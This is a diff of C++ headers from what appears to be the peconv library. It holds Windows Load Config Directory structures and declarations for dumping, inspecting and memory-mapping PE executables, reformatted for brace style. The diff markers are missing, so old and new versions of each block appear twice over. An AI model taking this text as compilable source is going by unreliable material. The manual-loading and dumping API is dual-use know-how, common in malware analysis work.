DWORD GuardLongJumpTargetTable; // VA
DWORD GuardLongJumpTargetCount;
DWORD DynamicValueRelocTable; // VA
DWORD CHPEMetadataPointer;
DWORD GuardRFFailureRoutine; // VA
DWORD GuardRFFailureRoutineFunctionPointer; // VA
DWORD DynamicValueRelocTableOffset;
WORD DynamicValueRelocTableSection;
WORD Reserved2;
DWORD GuardRFVerifyStackPointerFunctionPointer; // VA
DWORD HotPatchTableOffset;
DWORD Reserved3;
DWORD EnclaveConfigurationPointer; // VA
} IMAGE_LOAD_CONFIG_DIR32_W10;
/**
IMAGE_LOAD_CONFIG_DIR64: the Windows 10 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR64_W10 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
ULONGLONG DeCommitFreeBlockThreshold;
ULONGLONG DeCommitTotalFreeThreshold;
ULONGLONG LockPrefixTable; // VA
ULONGLONG MaximumAllocationSize;
ULONGLONG VirtualMemoryThreshold;
ULONGLONG ProcessAffinityMask;
DWORD ProcessHeapFlags;
WORD CSDVersion;
WORD DependentLoadFlags;
ULONGLONG EditList; // VA
ULONGLONG SecurityCookie; // VA
ULONGLONG SEHandlerTable; // VA
ULONGLONG SEHandlerCount;
ULONGLONG GuardCFCheckFunctionPointer; // VA
ULONGLONG GuardCFDispatchFunctionPointer; // VA
ULONGLONG GuardCFFunctionTable; // VA
ULONGLONG GuardCFFunctionCount;
DWORD GuardFlags;
IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 CodeIntegrity;
ULONGLONG GuardAddressTakenIatEntryTable; // VA
ULONGLONG GuardAddressTakenIatEntryCount;
ULONGLONG GuardLongJumpTargetTable; // VA
ULONGLONG GuardLongJumpTargetCount;
ULONGLONG DynamicValueRelocTable; // VA
ULONGLONG CHPEMetadataPointer; // VA
ULONGLONG GuardRFFailureRoutine; // VA
ULONGLONG GuardRFFailureRoutineFunctionPointer; // VA
DWORD DynamicValueRelocTableOffset;
WORD DynamicValueRelocTableSection;
WORD Reserved2;
ULONGLONG GuardRFVerifyStackPointerFunctionPointer; // VA
DWORD HotPatchTableOffset;
DWORD Reserved3;
ULONGLONG EnclaveConfigurationPointer; // VA
} IMAGE_LOAD_CONFIG_DIR64_W10;
/**
IMAGE_LOAD_CONFIG_DIR64: the Windows 10 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR64_W10 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
ULONGLONG DeCommitFreeBlockThreshold;
ULONGLONG DeCommitTotalFreeThreshold;
ULONGLONG LockPrefixTable; // VA
ULONGLONG MaximumAllocationSize;
ULONGLONG VirtualMemoryThreshold;
ULONGLONG ProcessAffinityMask;
DWORD ProcessHeapFlags;
WORD CSDVersion;
WORD DependentLoadFlags;
ULONGLONG EditList; // VA
ULONGLONG SecurityCookie; // VA
ULONGLONG SEHandlerTable; // VA
ULONGLONG SEHandlerCount;
ULONGLONG GuardCFCheckFunctionPointer; // VA
ULONGLONG GuardCFDispatchFunctionPointer; // VA
ULONGLONG GuardCFFunctionTable; // VA
ULONGLONG GuardCFFunctionCount;
DWORD GuardFlags;
IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 CodeIntegrity;
ULONGLONG GuardAddressTakenIatEntryTable; // VA
ULONGLONG GuardAddressTakenIatEntryCount;
ULONGLONG GuardLongJumpTargetTable; // VA
ULONGLONG GuardLongJumpTargetCount;
ULONGLONG DynamicValueRelocTable; // VA
ULONGLONG CHPEMetadataPointer; // VA
ULONGLONG GuardRFFailureRoutine; // VA
ULONGLONG GuardRFFailureRoutineFunctionPointer; // VA
DWORD DynamicValueRelocTableOffset;
WORD DynamicValueRelocTableSection;
WORD Reserved2;
ULONGLONG GuardRFVerifyStackPointerFunctionPointer; // VA
DWORD HotPatchTableOffset;
DWORD Reserved3;
ULONGLONG EnclaveConfigurationPointer; // VA
} IMAGE_LOAD_CONFIG_DIR64_W10;
/**
IMAGE_LOAD_CONFIG_DIR32: the Windows 8 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR32_W8 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
DWORD DeCommitFreeBlockThreshold;
DWORD DeCommitTotalFreeThreshold;
DWORD LockPrefixTable; // VA
DWORD MaximumAllocationSize;
DWORD VirtualMemoryThreshold;
DWORD ProcessHeapFlags;
DWORD ProcessAffinityMask;
WORD CSDVersion;
WORD DependentLoadFlags;
DWORD EditList; // VA
DWORD SecurityCookie; // VA
DWORD SEHandlerTable; // VA
DWORD SEHandlerCount;
DWORD GuardCFCheckFunctionPointer; // VA
DWORD GuardCFDispatchFunctionPointer; // VA
DWORD GuardCFFunctionTable; // VA
DWORD GuardCFFunctionCount;
DWORD GuardFlags;
} IMAGE_LOAD_CONFIG_DIR32_W8;
/**
IMAGE_LOAD_CONFIG_DIR32: the Windows 8 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR32_W8 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
DWORD DeCommitFreeBlockThreshold;
DWORD DeCommitTotalFreeThreshold;
DWORD LockPrefixTable; // VA
DWORD MaximumAllocationSize;
DWORD VirtualMemoryThreshold;
DWORD ProcessHeapFlags;
DWORD ProcessAffinityMask;
WORD CSDVersion;
WORD DependentLoadFlags;
DWORD EditList; // VA
DWORD SecurityCookie; // VA
DWORD SEHandlerTable; // VA
DWORD SEHandlerCount;
DWORD GuardCFCheckFunctionPointer; // VA
DWORD GuardCFDispatchFunctionPointer; // VA
DWORD GuardCFFunctionTable; // VA
DWORD GuardCFFunctionCount;
DWORD GuardFlags;
} IMAGE_LOAD_CONFIG_DIR32_W8;
/**
IMAGE_LOAD_CONFIG_DIR64: the Windows 8 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR64_W8 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
ULONGLONG DeCommitFreeBlockThreshold;
ULONGLONG DeCommitTotalFreeThreshold;
ULONGLONG LockPrefixTable; // VA
ULONGLONG MaximumAllocationSize;
ULONGLONG VirtualMemoryThreshold;
ULONGLONG ProcessAffinityMask;
DWORD ProcessHeapFlags;
WORD CSDVersion;
WORD DependentLoadFlags;
ULONGLONG EditList; // VA
ULONGLONG SecurityCookie; // VA
ULONGLONG SEHandlerTable; // VA
ULONGLONG SEHandlerCount;
ULONGLONG GuardCFCheckFunctionPointer; // VA
ULONGLONG GuardCFDispatchFunctionPointer; // VA
ULONGLONG GuardCFFunctionTable; // VA
ULONGLONG GuardCFFunctionCount;
DWORD GuardFlags;
} IMAGE_LOAD_CONFIG_DIR64_W8;
/**
IMAGE_LOAD_CONFIG_DIR64: the Windows 8 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR64_W8 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
ULONGLONG DeCommitFreeBlockThreshold;
ULONGLONG DeCommitTotalFreeThreshold;
ULONGLONG LockPrefixTable; // VA
ULONGLONG MaximumAllocationSize;
ULONGLONG VirtualMemoryThreshold;
ULONGLONG ProcessAffinityMask;
DWORD ProcessHeapFlags;
WORD CSDVersion;
WORD DependentLoadFlags;
ULONGLONG EditList; // VA
ULONGLONG SecurityCookie; // VA
ULONGLONG SEHandlerTable; // VA
ULONGLONG SEHandlerCount;
ULONGLONG GuardCFCheckFunctionPointer; // VA
ULONGLONG GuardCFDispatchFunctionPointer; // VA
ULONGLONG GuardCFFunctionTable; // VA
ULONGLONG GuardCFFunctionCount;
DWORD GuardFlags;
} IMAGE_LOAD_CONFIG_DIR64_W8;
/**
IMAGE_LOAD_CONFIG_DIR32: the Windows 7 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR32_W7 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
DWORD DeCommitFreeBlockThreshold;
DWORD DeCommitTotalFreeThreshold;
DWORD LockPrefixTable; // VA
DWORD MaximumAllocationSize;
DWORD VirtualMemoryThreshold;
DWORD ProcessHeapFlags;
DWORD ProcessAffinityMask;
WORD CSDVersion;
WORD DependentLoadFlags;
DWORD EditList; // VA
DWORD SecurityCookie; // VA
DWORD SEHandlerTable; // VA
DWORD SEHandlerCount;
} IMAGE_LOAD_CONFIG_DIR32_W7;
/**
IMAGE_LOAD_CONFIG_DIR32: the Windows 7 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR32_W7 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
DWORD DeCommitFreeBlockThreshold;
DWORD DeCommitTotalFreeThreshold;
DWORD LockPrefixTable; // VA
DWORD MaximumAllocationSize;
DWORD VirtualMemoryThreshold;
DWORD ProcessHeapFlags;
DWORD ProcessAffinityMask;
WORD CSDVersion;
WORD DependentLoadFlags;
DWORD EditList; // VA
DWORD SecurityCookie; // VA
DWORD SEHandlerTable; // VA
DWORD SEHandlerCount;
} IMAGE_LOAD_CONFIG_DIR32_W7;
/**
IMAGE_LOAD_CONFIG_DIR64: the Windows 7 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR64_W7 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
ULONGLONG DeCommitFreeBlockThreshold;
ULONGLONG DeCommitTotalFreeThreshold;
ULONGLONG LockPrefixTable; // VA
ULONGLONG MaximumAllocationSize;
ULONGLONG VirtualMemoryThreshold;
ULONGLONG ProcessAffinityMask;
DWORD ProcessHeapFlags;
WORD CSDVersion;
WORD DependentLoadFlags;
ULONGLONG EditList; // VA
ULONGLONG SecurityCookie; // VA
ULONGLONG SEHandlerTable; // VA
ULONGLONG SEHandlerCount;
} IMAGE_LOAD_CONFIG_DIR64_W7;
/**
IMAGE_LOAD_CONFIG_DIR64: the Windows 7 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR64_W7 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
ULONGLONG DeCommitFreeBlockThreshold;
ULONGLONG DeCommitTotalFreeThreshold;
ULONGLONG LockPrefixTable; // VA
ULONGLONG MaximumAllocationSize;
ULONGLONG VirtualMemoryThreshold;
ULONGLONG ProcessAffinityMask;
DWORD ProcessHeapFlags;
WORD CSDVersion;
WORD DependentLoadFlags;
ULONGLONG EditList; // VA
ULONGLONG SecurityCookie; // VA
ULONGLONG SEHandlerTable; // VA
ULONGLONG SEHandlerCount;
} IMAGE_LOAD_CONFIG_DIR64_W7;
}; //namespace peconv
#include <poppack.h>

View File

@@ -9,34 +9,35 @@
#include "buffer_util.h"
#include "load_config_defs.h"
namespace peconv {
namespace peconv
{
/**
A version of Load Config Directory.
*/
typedef enum {
LOAD_CONFIG_NONE = 0, /**< Load Config Directory not found */
LOAD_CONFIG_W7_VER = 7, /**< Load Config Directory in the Windows 7 version */
LOAD_CONFIG_W8_VER = 8, /**< Load Config Directory in the Windows 8 version */
LOAD_CONFIG_W10_VER = 10, /**< Load Config Directory in the Windows 10 version */
LOAD_CONFIG_UNK_VER = -1 /**< Load Config Directory in an unknown version */
} t_load_config_ver;
/**
A version of Load Config Directory.
*/
typedef enum {
LOAD_CONFIG_NONE = 0, /**< Load Config Directory not found */
LOAD_CONFIG_W7_VER = 7, /**< Load Config Directory in the Windows 7 version */
LOAD_CONFIG_W8_VER = 8, /**< Load Config Directory in the Windows 8 version */
LOAD_CONFIG_W10_VER = 10, /**< Load Config Directory in the Windows 10 version */
LOAD_CONFIG_UNK_VER = -1 /**< Load Config Directory in an unknown version */
} t_load_config_ver;
/**
Get a pointer to the Load Config Directory within the given PE.
\param buffer : a buffer containing the PE file in a Virtual format
\param buf_size : size of the buffer
\return a pointer to the Load Config Directory, NULL if the given PE does not have this directory
*/
BYTE* get_load_config_ptr(BYTE* buffer, size_t buf_size);
/**
Get a pointer to the Load Config Directory within the given PE.
\param buffer : a buffer containing the PE file in a Virtual format
\param buf_size : size of the buffer
\return a pointer to the Load Config Directory, NULL if the given PE does not have this directory
*/
BYTE* get_load_config_ptr(BYTE* buffer, size_t buf_size);
/**
Detect which version of Load Config Directory was used in the given PE.
\param buffer : a buffer containing the PE file in a Virtual format
\param buf_size : size of the buffer
\param ld_config_ptr : pointer to the Load Config Directory within the given PE
\return detected version of Load Config Directory
*/
t_load_config_ver get_load_config_version(BYTE* buffer, size_t buf_size, BYTE* ld_config_ptr);
/**
Detect which version of Load Config Directory was used in the given PE.
\param buffer : a buffer containing the PE file in a Virtual format
\param buf_size : size of the buffer
\param ld_config_ptr : pointer to the Load Config Directory within the given PE
\return detected version of Load Config Directory
*/
t_load_config_ver get_load_config_version(BYTE* buffer, size_t buf_size, BYTE* ld_config_ptr);
}; // namespace peconv

View File

@@ -8,42 +8,43 @@
#include <windows.h>
#include "exports_mapper.h"
namespace peconv {
namespace peconv
{
/**
A mode in which the PE fille be dumped.
*/
typedef enum {
PE_DUMP_AUTO = 0, /**< autodetect which dump mode is the most suitable for the given input */
PE_DUMP_VIRTUAL,/**< dump as it is in the memory (virtual) */
PE_DUMP_UNMAP, /**< convert to the raw format: using raw sections' headers */
PE_DUMP_REALIGN, /**< convert to the raw format: by realigning raw sections' headers to be the same as virtual (useful if the PE was unpacked in memory) */
PE_DUMP_MODES_COUNT /**< total number of the dump modes */
} t_pe_dump_mode;
/**
A mode in which the PE fille be dumped.
*/
typedef enum {
PE_DUMP_AUTO = 0, /**< autodetect which dump mode is the most suitable for the given input */
PE_DUMP_VIRTUAL,/**< dump as it is in the memory (virtual) */
PE_DUMP_UNMAP, /**< convert to the raw format: using raw sections' headers */
PE_DUMP_REALIGN, /**< convert to the raw format: by realigning raw sections' headers to be the same as virtual (useful if the PE was unpacked in memory) */
PE_DUMP_MODES_COUNT /**< total number of the dump modes */
} t_pe_dump_mode;
/**
Detect dump mode that is the most suitable for the given input.
\param buffer : the buffer containing the PE to be dumped.
\param buffer_size : the size of the given buffer
*/
t_pe_dump_mode detect_dump_mode(IN const BYTE* buffer, IN size_t buffer_size);
/**
Detect dump mode that is the most suitable for the given input.
\param buffer : the buffer containing the PE to be dumped.
\param buffer_size : the size of the given buffer
*/
t_pe_dump_mode detect_dump_mode(IN const BYTE* buffer, IN size_t buffer_size);
/**
Dumps PE from the fiven buffer into a file. It expects the module base and size to be given.
\param outputFilePath : name of the file where the dump should be saved
\param buffer : the buffer containing the PE to be dumped. WARNING: the buffer may be preprocessed before dumping.
\param buffer_size : the size of the given buffer
\param module_base : the base to which the PE buffer was relocated
\param dump_mode : specifies in which format the PE should be dumped. If the mode was set to PE_DUMP_AUTO, it autodetects mode and returns the detected one.
\param exportsMap : optional. If exportsMap is supplied, it will try to recover destroyed import table of the PE, basing on the supplied map of exported functions.
*/
bool dump_pe(
IN LPCTSTR outputFilePath,
IN OUT BYTE* buffer,
IN size_t buffer_size,
IN const ULONGLONG module_base,
IN OUT t_pe_dump_mode &dump_mode,
IN OPTIONAL const peconv::ExportsMapper* exportsMap = nullptr
);
/**
Dumps PE from the fiven buffer into a file. It expects the module base and size to be given.
\param outputFilePath : name of the file where the dump should be saved
\param buffer : the buffer containing the PE to be dumped. WARNING: the buffer may be preprocessed before dumping.
\param buffer_size : the size of the given buffer
\param module_base : the base to which the PE buffer was relocated
\param dump_mode : specifies in which format the PE should be dumped. If the mode was set to PE_DUMP_AUTO, it autodetects mode and returns the detected one.
\param exportsMap : optional. If exportsMap is supplied, it will try to recover destroyed import table of the PE, basing on the supplied map of exported functions.
*/
bool dump_pe(
IN LPCTSTR outputFilePath,
IN OUT BYTE* buffer,
IN size_t buffer_size,
IN const ULONGLONG module_base,
IN OUT t_pe_dump_mode &dump_mode,
IN OPTIONAL const peconv::ExportsMapper* exportsMap = nullptr
);
};// namespace peconv

View File

@@ -12,237 +12,238 @@
#define PAGE_SIZE 0x1000
#endif
namespace peconv {
/**
Maximal size of the PE header.
*/
const ULONGLONG MAX_HEADER_SIZE = PAGE_SIZE;
namespace peconv
{
/**
Maximal size of the PE header.
*/
const ULONGLONG MAX_HEADER_SIZE = PAGE_SIZE;
template <typename INT_TYPE>
INT_TYPE round_up_to_unit(const INT_TYPE size, const INT_TYPE unit)
{
if (unit == 0) {
return size;
}
INT_TYPE units_count = size / unit;
INT_TYPE rounded_size = units_count * unit;
if (rounded_size < size) {
rounded_size += unit;
}
return rounded_size;
template <typename INT_TYPE>
INT_TYPE round_up_to_unit(const INT_TYPE size, const INT_TYPE unit)
{
if (unit == 0) {
return size;
}
/**
Fetch image size from headers.
*/
DWORD get_image_size(IN const BYTE *payload);
/**
Change the Image Size in Optional Header to the given one.
*/
bool update_image_size(IN OUT BYTE* payload, IN DWORD new_img_size);
/**
Fetch architecture from the NT headers. Checks for bad pointers.
*/
WORD get_nt_hdr_architecture(IN const BYTE *pe_buffer);
/**
Wrapper for get_nt_hdr_architecture. Returns true if the PE file is 64 bit.
*/
bool is64bit(IN const BYTE *pe_buffer);
/**
Fetch pointer to the NT headers of the PE file.
Checks for bad pointers. If buffer_size is set, validates pointers against the buffer size.
*/
BYTE* get_nt_hdrs(
IN const BYTE *pe_buffer,
IN OPTIONAL size_t buffer_size=0 //if buffer_size=0 means size unknown
);
/**
Wrapper for get_nt_headers. Automatically detects if the PE is 32 bit - if not, returns null pointer.
*/
IMAGE_NT_HEADERS32* get_nt_hdrs32(IN const BYTE *pe_buffer);
/**
Wrapper for get_nt_headers. Automatically detects if the PE is 64 bit - if not, returns null pointer.
*/
IMAGE_NT_HEADERS64* get_nt_hdrs64(IN const BYTE *pe_buffer);
/**
Fetches optional header of the PE. Validates pointers against buffer size.
*/
LPVOID get_optional_hdr(IN const BYTE* payload, IN const size_t buffer_size);
/**
Fetches file header of the PE. Validates pointers against buffer size.
*/
const IMAGE_FILE_HEADER* get_file_hdr(
IN const BYTE* payload,
IN const size_t buffer_size
);
/**
Fetch the size of headers (from Optional Header).
*/
DWORD get_hdrs_size(IN const BYTE *pe_buffer);
/**
get Data Directory entry of the given number. If the entry is not filled and allow_empty is not set, it returns null pointer.
*/
IMAGE_DATA_DIRECTORY* get_directory_entry(IN const BYTE* pe_buffer, IN DWORD dir_id, IN bool allow_empty = false);
/**
Get pointer to the Data Directory content of the given number. Automatically cast to the chosen type.
*/
template <typename IMAGE_TYPE_DIRECTORY>
IMAGE_TYPE_DIRECTORY* get_type_directory(IN HMODULE modulePtr, IN DWORD dir_id)
{
IMAGE_DATA_DIRECTORY *my_dir = peconv::get_directory_entry((const BYTE*)modulePtr, dir_id);
if (!my_dir) return nullptr;
DWORD dir_addr = my_dir->VirtualAddress;
if (dir_addr == 0) return nullptr;
return (IMAGE_TYPE_DIRECTORY*)(dir_addr + (ULONG_PTR)modulePtr);
INT_TYPE units_count = size / unit;
INT_TYPE rounded_size = units_count * unit;
if (rounded_size < size) {
rounded_size += unit;
}
return rounded_size;
}
/**
Get pointer to the Export Directory.
*/
IMAGE_EXPORT_DIRECTORY* get_export_directory(IN HMODULE modulePtr);
/**
Fetch image size from headers.
*/
DWORD get_image_size(IN const BYTE *payload);
// Fetch Image Base from Optional Header.
ULONGLONG get_image_base(IN const BYTE *pe_buffer);
/**
Change the Image Size in Optional Header to the given one.
*/
bool update_image_size(IN OUT BYTE* payload, IN DWORD new_img_size);
/**
Change the Image Base in Optional Header to the given one.
*/
bool update_image_base(IN OUT BYTE* payload, IN ULONGLONG destImageBase);
/**
Fetch architecture from the NT headers. Checks for bad pointers.
*/
WORD get_nt_hdr_architecture(IN const BYTE *pe_buffer);
/**
Get RVA of the Entry Point from the Optional Header.
*/
DWORD get_entry_point_rva(IN const BYTE *pe_buffer);
/**
Wrapper for get_nt_hdr_architecture. Returns true if the PE file is 64 bit.
*/
bool is64bit(IN const BYTE *pe_buffer);
/**
Change the Entry Point RVA in the Optional Header to the given one.
*/
bool update_entry_point_rva(IN OUT BYTE *pe_buffer, IN DWORD ep);
/**
Fetch pointer to the NT headers of the PE file.
Checks for bad pointers. If buffer_size is set, validates pointers against the buffer size.
*/
BYTE* get_nt_hdrs(
IN const BYTE *pe_buffer,
IN OPTIONAL size_t buffer_size=0 //if buffer_size=0 means size unknown
);
/**
Get number of sections from the File Header. It does not validate if this the actual number.
*/
size_t get_sections_count(
IN const BYTE* buffer,
IN const size_t buffer_size
);
/**
Wrapper for get_nt_headers. Automatically detects if the PE is 32 bit - if not, returns null pointer.
*/
IMAGE_NT_HEADERS32* get_nt_hdrs32(IN const BYTE *pe_buffer);
/**
Checks if the section headers are reachable. It does not validate sections alignment.
*/
bool is_valid_sections_hdr_offset(IN const BYTE* buffer, IN const size_t buffer_size);
/**
Wrapper for get_nt_headers. Automatically detects if the PE is 64 bit - if not, returns null pointer.
*/
IMAGE_NT_HEADERS64* get_nt_hdrs64(IN const BYTE *pe_buffer);
/**
Gets pointer to the section header of the given number.
*/
PIMAGE_SECTION_HEADER get_section_hdr(
IN const BYTE* pe_buffer,
IN const size_t buffer_size,
IN size_t section_num
);
/**
Fetches optional header of the PE. Validates pointers against buffer size.
*/
LPVOID get_optional_hdr(IN const BYTE* payload, IN const size_t buffer_size);
/**
Fetch the PE Characteristics from the File Header.
*/
WORD get_file_characteristics(IN const BYTE* payload);
/**
Fetches file header of the PE. Validates pointers against buffer size.
*/
const IMAGE_FILE_HEADER* get_file_hdr(
IN const BYTE* payload,
IN const size_t buffer_size
);
/**
Check if the module is a DLL (basing on the Characteristcs in the header).
*/
bool is_module_dll(IN const BYTE* payload);
/**
Fetch the size of headers (from Optional Header).
*/
DWORD get_hdrs_size(IN const BYTE *pe_buffer);
/**
Check if the module is a .NET executable
*/
bool is_dot_net(BYTE *pe_buffer, size_t pe_buffer_size);
/**
get Data Directory entry of the given number. If the entry is not filled and allow_empty is not set, it returns null pointer.
*/
IMAGE_DATA_DIRECTORY* get_directory_entry(IN const BYTE* pe_buffer, IN DWORD dir_id, IN bool allow_empty = false);
/**
Fetch the DLL Characteristics from the Optional Header.
*/
WORD get_dll_characteristics(IN const BYTE* payload);
/**
Get pointer to the Data Directory content of the given number. Automatically cast to the chosen type.
*/
template <typename IMAGE_TYPE_DIRECTORY>
IMAGE_TYPE_DIRECTORY* get_type_directory(IN HMODULE modulePtr, IN DWORD dir_id)
{
IMAGE_DATA_DIRECTORY *my_dir = peconv::get_directory_entry((const BYTE*)modulePtr, dir_id);
if (!my_dir) return nullptr;
/**
Set the PE subsystem in the header.
*/
bool set_subsystem(IN OUT BYTE* payload, IN WORD subsystem);
DWORD dir_addr = my_dir->VirtualAddress;
if (dir_addr == 0) return nullptr;
/**
Get the PE subsystem from the header.
*/
WORD get_subsystem(IN const BYTE* payload);
return (IMAGE_TYPE_DIRECTORY*)(dir_addr + (ULONG_PTR)modulePtr);
}
/**
Check if the PE has relocations Data Directory.
*/
bool has_relocations(IN const BYTE *pe_buffer);
/**
Get pointer to the Export Directory.
*/
IMAGE_EXPORT_DIRECTORY* get_export_directory(IN HMODULE modulePtr);
/**
Fetch the pointer to the .NET header (if exist).
*/
IMAGE_COR20_HEADER* get_dotnet_hdr(
IN const BYTE* pe_buffer,
IN size_t const buffer_size,
IN const IMAGE_DATA_DIRECTORY* dotNetDir
);
// Fetch Image Base from Optional Header.
ULONGLONG get_image_base(IN const BYTE *pe_buffer);
/**
Fetch section aligmenent from headers. Depending on the flag, it fetches either Raw Alignment or Virtual Alignment.
*/
DWORD get_sec_alignment(IN const BYTE* modulePtr, IN bool is_raw);
/**
Change the Image Base in Optional Header to the given one.
*/
bool update_image_base(IN OUT BYTE* payload, IN ULONGLONG destImageBase);
/**
Change section aligmenent in headers. Depending on the flag, it sets either Raw Alignment or Virtual Alignment.
*/
bool set_sec_alignment(IN OUT BYTE* pe_buffer, IN bool is_raw, IN DWORD new_alignment);
/**
Get RVA of the Entry Point from the Optional Header.
*/
DWORD get_entry_point_rva(IN const BYTE *pe_buffer);
/**
Get size of virtual section from the headers (optionaly rounds it up to the Virtual Alignment)
*/
DWORD get_virtual_sec_size(
IN const BYTE* pe_hdr,
IN const PIMAGE_SECTION_HEADER sec_hdr,
IN bool rounded //if set, it rounds it up to the Virtual Alignment
);
/**
Change the Entry Point RVA in the Optional Header to the given one.
*/
bool update_entry_point_rva(IN OUT BYTE *pe_buffer, IN DWORD ep);
/**
Get the last section (in a raw or virtual alignment)
\param pe_buffer : buffer with a PE
\param pe_size : size of the given PE
\param is_raw : If true, give the section with the highest Raw offset. If false, give the section with the highest Virtual offset.
*/
PIMAGE_SECTION_HEADER get_last_section(IN const PBYTE pe_buffer, IN size_t pe_size, IN bool is_raw);
/**
Get number of sections from the File Header. It does not validate if this the actual number.
*/
size_t get_sections_count(
IN const BYTE* buffer,
IN const size_t buffer_size
);
/**
Calculate full PE size (raw or virtual) using information from sections' headers. WARNING: it drops an overlay.
\param pe_buffer : a buffer containing a PE
\param pe_size : the size of the given buffer
\param is_raw : If true, the Raw alignment is used. If false, the Virtual alignment is used.
*/
DWORD calc_pe_size(
IN const PBYTE pe_buffer,
IN size_t pe_size,
IN bool is_raw
);
/**
Checks if the section headers are reachable. It does not validate sections alignment.
*/
bool is_valid_sections_hdr_offset(IN const BYTE* buffer, IN const size_t buffer_size);
/**
Walk through sections headers checking if the sections beginnings and sizes are fitting the alignment (Virtual or Raw)
\param buffer : a buffer containing a PE
\param buffer_size : the size of the given buffer
\param is_raw : If true, the Raw alignment is checked. If false, the Virtual alignment is checked.
*/
bool is_valid_sectons_alignment(IN const BYTE* buffer, IN const SIZE_T buffer_size, IN bool is_raw);
/**
Gets pointer to the section header of the given number.
*/
PIMAGE_SECTION_HEADER get_section_hdr(
IN const BYTE* pe_buffer,
IN const size_t buffer_size,
IN size_t section_num
);
/**
Fetch the PE Characteristics from the File Header.
*/
WORD get_file_characteristics(IN const BYTE* payload);
/**
Check if the module is a DLL (basing on the Characteristcs in the header).
*/
bool is_module_dll(IN const BYTE* payload);
/**
Check if the module is a .NET executable
*/
bool is_dot_net(BYTE *pe_buffer, size_t pe_buffer_size);
/**
Fetch the DLL Characteristics from the Optional Header.
*/
WORD get_dll_characteristics(IN const BYTE* payload);
/**
Set the PE subsystem in the header.
*/
bool set_subsystem(IN OUT BYTE* payload, IN WORD subsystem);
/**
Get the PE subsystem from the header.
*/
WORD get_subsystem(IN const BYTE* payload);
/**
Check if the PE has relocations Data Directory.
*/
bool has_relocations(IN const BYTE *pe_buffer);
/**
Fetch the pointer to the .NET header (if exist).
*/
IMAGE_COR20_HEADER* get_dotnet_hdr(
IN const BYTE* pe_buffer,
IN size_t const buffer_size,
IN const IMAGE_DATA_DIRECTORY* dotNetDir
);
/**
Fetch section aligmenent from headers. Depending on the flag, it fetches either Raw Alignment or Virtual Alignment.
*/
DWORD get_sec_alignment(IN const BYTE* modulePtr, IN bool is_raw);
/**
Change section aligmenent in headers. Depending on the flag, it sets either Raw Alignment or Virtual Alignment.
*/
bool set_sec_alignment(IN OUT BYTE* pe_buffer, IN bool is_raw, IN DWORD new_alignment);
/**
Get size of virtual section from the headers (optionaly rounds it up to the Virtual Alignment)
*/
DWORD get_virtual_sec_size(
IN const BYTE* pe_hdr,
IN const PIMAGE_SECTION_HEADER sec_hdr,
IN bool rounded //if set, it rounds it up to the Virtual Alignment
);
/**
Get the last section (in a raw or virtual alignment)
\param pe_buffer : buffer with a PE
\param pe_size : size of the given PE
\param is_raw : If true, give the section with the highest Raw offset. If false, give the section with the highest Virtual offset.
*/
PIMAGE_SECTION_HEADER get_last_section(IN const PBYTE pe_buffer, IN size_t pe_size, IN bool is_raw);
/**
Calculate full PE size (raw or virtual) using information from sections' headers. WARNING: it drops an overlay.
\param pe_buffer : a buffer containing a PE
\param pe_size : the size of the given buffer
\param is_raw : If true, the Raw alignment is used. If false, the Virtual alignment is used.
*/
DWORD calc_pe_size(
IN const PBYTE pe_buffer,
IN size_t pe_size,
IN bool is_raw
);
/**
Walk through sections headers checking if the sections beginnings and sizes are fitting the alignment (Virtual or Raw)
\param buffer : a buffer containing a PE
\param buffer_size : the size of the given buffer
\param is_raw : If true, the Raw alignment is checked. If false, the Virtual alignment is checked.
*/
bool is_valid_sectons_alignment(IN const BYTE* buffer, IN const SIZE_T buffer_size, IN bool is_raw);
}; // namespace peconv

View File

@@ -8,35 +8,36 @@
#include "pe_raw_to_virtual.h"
#include "function_resolver.h"
namespace peconv {
/**
Reads PE from the given buffer into memory and maps it into virtual format.
(Automatic raw to virtual conversion).
If the executable flag is true, the PE file is loaded into executable memory.
If the relocate flag is true, applies relocations. Does not load imports.
